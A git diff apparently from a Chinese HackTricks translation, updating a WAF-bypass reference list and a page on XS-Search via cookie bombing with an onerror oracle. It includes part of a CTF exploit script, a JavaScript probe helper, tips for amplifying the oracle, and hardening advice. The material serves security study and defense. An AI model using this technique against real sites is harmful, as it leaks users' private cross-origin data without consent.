- [**nowafpls**](https://github.com/assetnote/nowafpls): Burp 插件,通过长度向请求添加垃圾数据以绕过 WAF
|
||||
- [**nowafpls**](https://github.com/assetnote/nowafpls): 用于向 requests 添加垃圾数据以按长度绕过 WAFs 的 Burp 插件
|
||||
|
||||
## 参考文献
|
||||
## 参考资料
|
||||
|
||||
- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
|
||||
- [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
|
||||
- [https://www.youtube.com/watch?v=0OMmWtU2Y_g](https://www.youtube.com/watch?v=0OMmWtU2Y_g)
|
||||
- [https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization](https://0x999.net/blog/exploring-javascript-events-bypassing-wafs-via-character-normalization#bypassing-web-application-firewalls-via-character-normalization)
|
||||
- [我如何在一个公共 BBP 中发现 0-Click 账户接管并利用它访问管理员级功能](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
- [How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -2,7 +2,24 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
以下**脚本**来自[**这里**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/),利用了一种功能,允许用户**插入任意数量的 cookies**,然后加载一个文件作为脚本,知道真实响应将大于虚假响应。如果成功,响应将是一个重定向, resulting URL 更长,**服务器无法处理的太大,因此返回一个错误的 http 状态码**。如果搜索失败,则不会发生任何事情,因为 URL 很短。
|
||||
This technique combines:
|
||||
- Cookie bombing: 将大量/大尺寸 cookies 注入受害者的浏览器,针对 target origin,使后续请求触及服务器/请求限制(request header size、URL size in redirects 等)。
|
||||
- Error-event oracle: 使用 <script>(或其他子资源)探测一个 cross-origin endpoint,并通过 onload vs onerror 区分状态。
|
||||
|
||||
High level idea
|
||||
- 找到一个目标 endpoint,其在你想测试的两种状态下行为不同(例如,搜索 “hit” vs “miss”)。
|
||||
- 确保“hit”路径会触发一个大型重定向链或很长的 URL,而“miss”路径保持较短。通过大量 cookies 膨胀请求头,使得只有“hit”路径导致服务器因超限而返回 HTTP 错误(例如 431/414/400)。该错误会翻转 onerror 事件,从而成为 XS-Search 的一个 oracle。
|
||||
|
||||
When does this work
|
||||
- 你能够使受害者浏览器向目标发送 cookies(例如,cookies 为 SameSite=None,或你可以通过 popup 的 first-party context 使用 window.open 设置它们)。
|
||||
- 存在可以被滥用的应用功能来设置任意 cookies(例如,将受控输入名/值转换为 Set-Cookie 的 “save preference” endpoint),或存在将攻击者可控数据包含进 URL 的 post-auth 重定向。
|
||||
- 服务器在两种状态下有不同反应,并且在请求头/URL 被膨胀后,其中一种状态会越过限制并返回触发 onerror 的错误响应。
|
||||
|
||||
Note on server errors used as the oracle
|
||||
- 431 Request Header Fields Too Large 通常在 cookies 膨胀请求头时返回;414 URI Too Long 或特定服务器的 400 也可能在请求目标过长时返回。任何这些都会导致子资源加载失败并触发 onerror。[MDN 文档记录了 431 及其典型原因(如过多的 cookies)。]()
|
||||
|
||||
Practical example (angstromCTF 2022)
|
||||
The following script (from a public writeup) abuses a feature that lets the attacker insert arbitrary cookies, then loads a cross-origin search endpoint as a script. When the query is correct, the server performs a redirect that, together with the cookie bloat, exceeds server limits and returns an error status, so script.onerror fires; otherwise nothing happens.
|
||||
```html
|
||||
<>'";
|
||||
<form action="https://sustenance.web.actf.co/s" method="POST">
|
||||
@ -57,4 +74,53 @@ break
|
||||
}
|
||||
</script>
|
||||
```
|
||||
为什么使用弹出窗口 (window.open)?
|
||||
- 现代浏览器越来越多地阻止 third-party cookies。打开一个 top-level window 指向目标会使 cookies 成为 first-party,因此来自目标的 Set-Cookie 响应会生效,从而即便在 third-party cookie 限制下也能完成 cookie-bomb 步骤。
|
||||
|
||||
通用探测助手
|
||||
如果你已经有办法在目标 origin(first-party)上设置大量 cookies,你可以将这个最小化的 oracle 复用于任何当其成功/失败会导致不同网络结果(status/MIME/redirect)的 endpoint:
|
||||
```js
|
||||
function probeError(url) {
|
||||
return new Promise((resolve) => {
|
||||
const s = document.createElement('script');
|
||||
s.src = url;
|
||||
s.onload = () => resolve(false); // loaded successfully
|
||||
s.onerror = () => resolve(true); // failed (e.g., 4xx/5xx, wrong MIME, blocked)
|
||||
document.head.appendChild(s);
|
||||
});
|
||||
}
|
||||
```
|
||||
Tips to build the oracle
|
||||
- Force the “positive” state to be heavier: chain an extra redirect only when the predicate is true, or make the redirect URL reflect unbounded user input so it grows with the guessed prefix.
|
||||
- Inflate headers: repeat cookie bombing until a consistent error is observed on the “heavy” path. Servers commonly cap header size and will fail sooner when many cookies are present.
|
||||
- Stabilize: fire multiple parallel cookie set operations and probe repeatedly to average out timing and caching noise.
|
||||
|
||||
Related XS-Search tricks
|
||||
- URL length based oracles (no cookies needed) can be combined or used instead when you can force a very long request target:
|
||||
|
||||
{{#ref}}
|
||||
url-max-length-client-side.md
|
||||
{{#endref}}
|
||||
|
||||
Defenses and hardening
|
||||
- Make success/failure responses indistinguishable:
|
||||
- Avoid conditional redirects or large differences in response size between states. Return the same status, same Content-Type, and similar body length regardless of state.
|
||||
- Block cross-site subresource probes:
|
||||
- SameSite cookies: set sensitive cookies to SameSite=Lax or Strict so subresource requests like <script src> don’t carry them; prefer Strict for auth tokens when possible.
|
||||
- Fetch Metadata: enforce a Resource Isolation Policy to reject cross-site subresource loads (e.g., if Sec-Fetch-Site != same-origin/same-site).
|
||||
- Cross-Origin-Resource-Policy (CORP): set CORP: same-origin (or at least same-site) for endpoints not meant to be embedded as cross-origin subresources.
|
||||
- X-Content-Type-Options: nosniff and correct Content-Type on JSON/HTML endpoints to avoid load-as-script quirks.
|
||||
- Reduce header/URL amplification:
|
||||
- Cap the number/size of cookies set; sanitize features that turn arbitrary form fields into Set-Cookie.
|
||||
- Normalize or truncate reflected data in redirects; avoid embedding attacker-controlled long strings in Location URLs.
|
||||
- Keep server limits consistent and fail uniformly (avoid special error pages only for one branch).
|
||||
|
||||
Notes
|
||||
- This class of attacks is discussed broadly as “Error Events” XS-Leaks. The cookie-bomb step is just a convenient way to push only one branch over server limits, producing a reliable boolean oracle.
|
||||
|
||||
|
||||
|
||||
## References
|
||||
- XS-Leaks: Error Events (onerror/onload as an oracle): https://xsleaks.dev/docs/attacks/error-events/
|
||||
- MDN: 431 Request Header Fields Too Large (common with many cookies): https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/431
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user